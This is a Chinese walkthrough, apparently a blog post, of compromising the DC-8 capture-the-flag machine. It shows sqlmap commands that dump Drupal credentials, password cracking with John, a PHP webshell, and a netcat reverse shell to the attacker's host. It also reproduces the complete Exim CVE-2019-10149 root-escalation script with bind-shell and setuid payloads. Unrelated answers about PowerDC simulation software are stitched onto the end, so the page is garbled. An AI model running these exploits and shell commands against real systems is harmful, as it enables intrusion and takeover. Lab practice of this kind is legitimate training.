DC-8入门练习

1. 信息收集

1.查看目标靶机MAC地址
在这里插入图片描述

2.nmap扫描地址

nmap -sP 192.168.1.0/24 -oN nmap.sP

在这里插入图片描述

3.nmap扫描端口

nmap -A 192.168.1.6 -p 0-65535 -oN nmap.A

目标开放了80/22端口
在这里插入图片描述
4.访问80
利用火狐自带软件,查看网站信息:开源cms模板drupal 7 容器:apache
在这里插入图片描述
目标端口发放22端口我们可以进行爆破,但是这种成功率较低。
6.寻找SQL注入点
点啊点发现了,网页通过nid传参,我们可以判断是不是注入点
在这里插入图片描述
加单引号 ’ 发现报错,是整形注入 (还爆出sql语句)
在这里插入图片描述
而且还有网站页面的路径(这一下收获太大了)
在这里插入图片描述

输入and 1=1 和 and 1=2
在这里插入图片描述
在这里插入图片描述
7.扫描网站目录
针对drupal网站,使用droopescan 扫描:
也可以使用 dirbsearch

安装droopescan

git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt		(这里我安装了三遍可能是网络原因,出错建议重新安装)

./droopescan scan --help

发现了后台登陆地址:
在这里插入图片描述

2. sqlmap爆表

爆数据库
sqlmap -u http://192.168.1.6/?nid=1 --dbs

数据库名:d7db
在这里插入图片描述

爆表
sqlmap -u http://192.168.1.6/?nid=1 -D d7db --tables

表名:users
在这里插入图片描述

字段名
sqlmap -u http://192.168.1.6/?nid=1 -D d7db -T users --columns

字段:name pass
在这里插入图片描述

字段值
sqlmap -u http://192.168.1.6/?nid=1 -D d7db -T users -C name,pass --dump

在这里插入图片描述
爆出了账号密码:
但是被hash加密,与此同时,发现有个用户名叫john,提示我们John爆破

John爆破

我们把刚才的哈希值放入创建的字典中;

vim pass.dic
john pass.dic

这里只爆出了John的密码为turtle
在这里插入图片描述

登陆后台寻找上传点注入点1

1.浏览网页寻找注入点:
(写入测试代码后必须返回主页提交后才会触发如下)
在这里插入图片描述

2.发现确实存在php代码注入
在这里插入图片描述
3.写入一句话木马

<?php
@eval()$_REQUEST[666];
?>

在这里插入图片描述
蚁键连接
但是报错了
在这里插入图片描述
这里我们尝试远程命令执行:

<?php
system("nc -e /bin/bash 192.168.1.12 6666");
 ?>

在这里插入图片描述

4.反弹shell
kali打开端口监听:
在这里插入图片描述
成功拿到webshell
在这里插入图片描述
进入交互模式:

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

提权

方法:
1.查看具有sudo权限不需要密码的命令

sudo -l

2.查看具有suid表示的命令

find / -perm  -4000 2>/dev/null  
find / -perm -u=s -type f 2>/dev/null

3.内核提权,寻找内核版本漏洞,找到exp提权

searchsploit exim

在这里插入图片描述
每一个都拿去百度了,发现exim命令在使用时具有root权限,并且还看到一些有关于他的提权漏洞,那么在kali里面直接使用它对应版本的exp提权

在这里插入图片描述
版本太多我们查一查 exim的版本
在这里插入图片描述
找到这个脚本后把他复制到当前目录下

cp /usr/share/exploitdb/exploits/linux/local/46996.sh ./

在这里插入图片描述
kali开启http服务

python -m SimpleHTTPServer

在这里插入图片描述
由于我们反弹shell 得到的用户在当前目录下没有写权限,我们切换至/tmp 目录下

wget http://192.168.1.12:8000/shell.sh

在这里插入图片描述
赋予46996.sh执行权限,运行发现报错;
在这里插入图片描述
那么只能复制exp的代码了,在网上找到46996.sh脚本的代码,链接:https://www.exploit-db.com/exploits/46996
点击view raw查看代码,然后复制所有代码:

#!/bin/bash

#
# raptor_exim_wiz - "The Return of the WIZard" LPE exploit
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# A flaw was found in Exim versions 4.87 to 4.91 (inclusive). 
# Improper validation of recipient address in deliver_message() 
# function in /src/deliver.c may lead to remote command execution.
# (CVE-2019-10149)
#
# This is a local privilege escalation exploit for "The Return 
# of the WIZard" vulnerability reported by the Qualys Security 
# Advisory team.
#
# Credits:
# Qualys Security Advisory team (kudos for your amazing research!)
# Dennis 'dhn' Herrmann (/dev/tcp technique)
#
# Usage (setuid method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m setuid
# Preparing setuid shell helper...
# Delivering setuid payload...
# [...]
# Waiting 5 seconds...
# -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned
# # id
# uid=0(root) gid=0(root) groups=0(root)
#
# Usage (netcat method):
# $ id
# uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...]
# $ ./raptor_exim_wiz -m netcat
# Delivering netcat payload...
# Waiting 5 seconds...
# localhost [127.0.0.1] 31337 (?) open
# id
# uid=0(root) gid=0(root) groups=0(root)
#
# Vulnerable platforms:
# Exim 4.87 - 4.91
#
# Tested against:
# Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz]
#

METHOD="setuid" # default method
PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost'
PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost'

# usage instructions
function usage()
{
	echo "$0 [-m METHOD]"
	echo
	echo "-m setuid : use the setuid payload (default)"
	echo "-m netcat : use the netcat payload"
	echo
	exit 1
}

# payload delivery
function exploit()
{
	# connect to localhost:25
	exec 3<>/dev/tcp/localhost/25

	# deliver the payload
	read -u 3 && echo $REPLY
	echo "helo localhost" >&3
	read -u 3 && echo $REPLY
	echo "mail from:<>" >&3
	read -u 3 && echo $REPLY
	echo "rcpt to:<$PAYLOAD>" >&3
	read -u 3 && echo $REPLY
	echo "data" >&3
	read -u 3 && echo $REPLY
	for i in {1..31}
	do
		echo "Received: $i" >&3
	done
	echo "." >&3
	read -u 3 && echo $REPLY
	echo "quit" >&3
	read -u 3 && echo $REPLY
}

# print banner
echo
echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit'
echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>'
echo

# parse command line
while [ ! -z "$1" ]; do
	case $1 in
		-m) shift; METHOD="$1"; shift;;
		* ) usage
		;;
	esac
done
if [ -z $METHOD ]; then
	usage
fi

# setuid method
if [ $METHOD = "setuid" ]; then

	# prepare a setuid shell helper to circumvent bash checks
	echo "Preparing setuid shell helper..."
	echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c
	gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null
	if [ $? -ne 0 ]; then
		echo "Problems compiling setuid shell helper, check your gcc."
		echo "Falling back to the /bin/sh method."
		cp /bin/sh /tmp/pwned
	fi
	echo

	# select and deliver the payload
	echo "Delivering $METHOD payload..."
	PAYLOAD=$PAYLOAD_SETUID
	exploit
	echo

	# wait for the magic to happen and spawn our shell
	echo "Waiting 5 seconds..."
	sleep 5
	ls -l /tmp/pwned
	/tmp/pwned

# netcat method
elif [ $METHOD = "netcat" ]; then

	# select and deliver the payload
	echo "Delivering $METHOD payload..."
	PAYLOAD=$PAYLOAD_NETCAT
	exploit
	echo

	# wait for the magic to happen and spawn our shell
	echo "Waiting 5 seconds..."
	sleep 5
	nc -v 127.0.0.1 31337

# print help
else
	usage
fi

然后vi编辑器编辑一个.sh脚本吧代码复制进去,然后保存,赋予他执行权限。或者可以在本地创建脚本然后wget 下载到tmp目录
执行:

./666.sh -m netcat     

在这里插入图片描述

在这里插入图片描述

### 回答1: PowerDC仿真是针对直流电源和直流系统进行仿真和优化的工具。它可以帮助我们生成电路图、进行电路分析、进行参数优化、设计新型直流系统和电源等。对于初学者来说,入门PowerDC仿真需要掌握基础的几个方面。 首先,熟悉仿真软件本身。PowerDC可以在Windows或者Linux上运行,并且提供直观的用户界面和完善的帮助文档。我们需要了解软件本身的功能和操作方式,例如如何添加元件、如何连接元件、如何设置参数等等。 其次,学会建立电路模型。在PowerDC仿真中,我们需要先建立一个电路模型,包括电路图中的元件、连接方式以及元件的参数设置。需要注意的是,建立电路模型需要具备一定的电路基础知识和数学功底。 第三,进行电路分析。在电路模型建立好之后,我们可以进行各种电路分析,例如直流分析、交流分析、温度分析等,以及对电路参数进行优化调整,以提高电路性能。 最后,学习电路优化。通过电路分析的结果,我们可以对电路进行进一步优化,例如通过改进元件参数、修改连接方式或者更换元件等方式,来提高电路性能和效率。 总的来说,PowerDC仿真是一款强大的工具,但是入门需要我们具备基础的电路知识和数学功底,不断练习和尝试,才能掌握其使用方法,成功进行电路设计和优化。 ### 回答2: PowerDC仿真是一种电力系统仿真软件,可以用于模拟电力系统的运行状态和分析系统的稳定性。本文着重介绍PowerDC仿真的入门内容,其中包括仿真软件的安装、界面介绍、仿真流程以及基本操作等方面。 首先,PowerDC仿真软件需要在电脑上进行安装。安装过程中需要注意操作系统的版本,以及软件是否与操作系统兼容。安装完成后,打开软件进入主界面。 主界面上方为菜单栏,包括文件、编辑、仿真和视图等模块。左边为操作面板,可以进行仿真模型的建立、测试和仿真结果的分析。右边为仿真模型的绘图区域,可以进行仿真模型的绘制和修改。 在PowerDC仿真中,建立仿真模型是用户的第一步。用户可以根据电力系统的实际情况选取不同的元器件和连接方式,进行仿真模型的绘制。绘制完成后,用户需要进行仿真参数的设定,如电源电压、电阻、电感、电容等。 当仿真模型建立和参数设定完成后,用户需要进行仿真运行。在仿真运行中,用户可以观察电力系统的工作状态,如各个元器件的电流、电压、功率等。同时,仿真运行还可以用于分析系统的稳定性和短路保护方案等。 除了以上基本操作外,PowerDC仿真还提供了其他功能,如参数扫描、结果显示和数据分析等。用户可以根据自身需求选择不同的功能进行使用,以达到更精细的仿真结果和更深入的分析。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值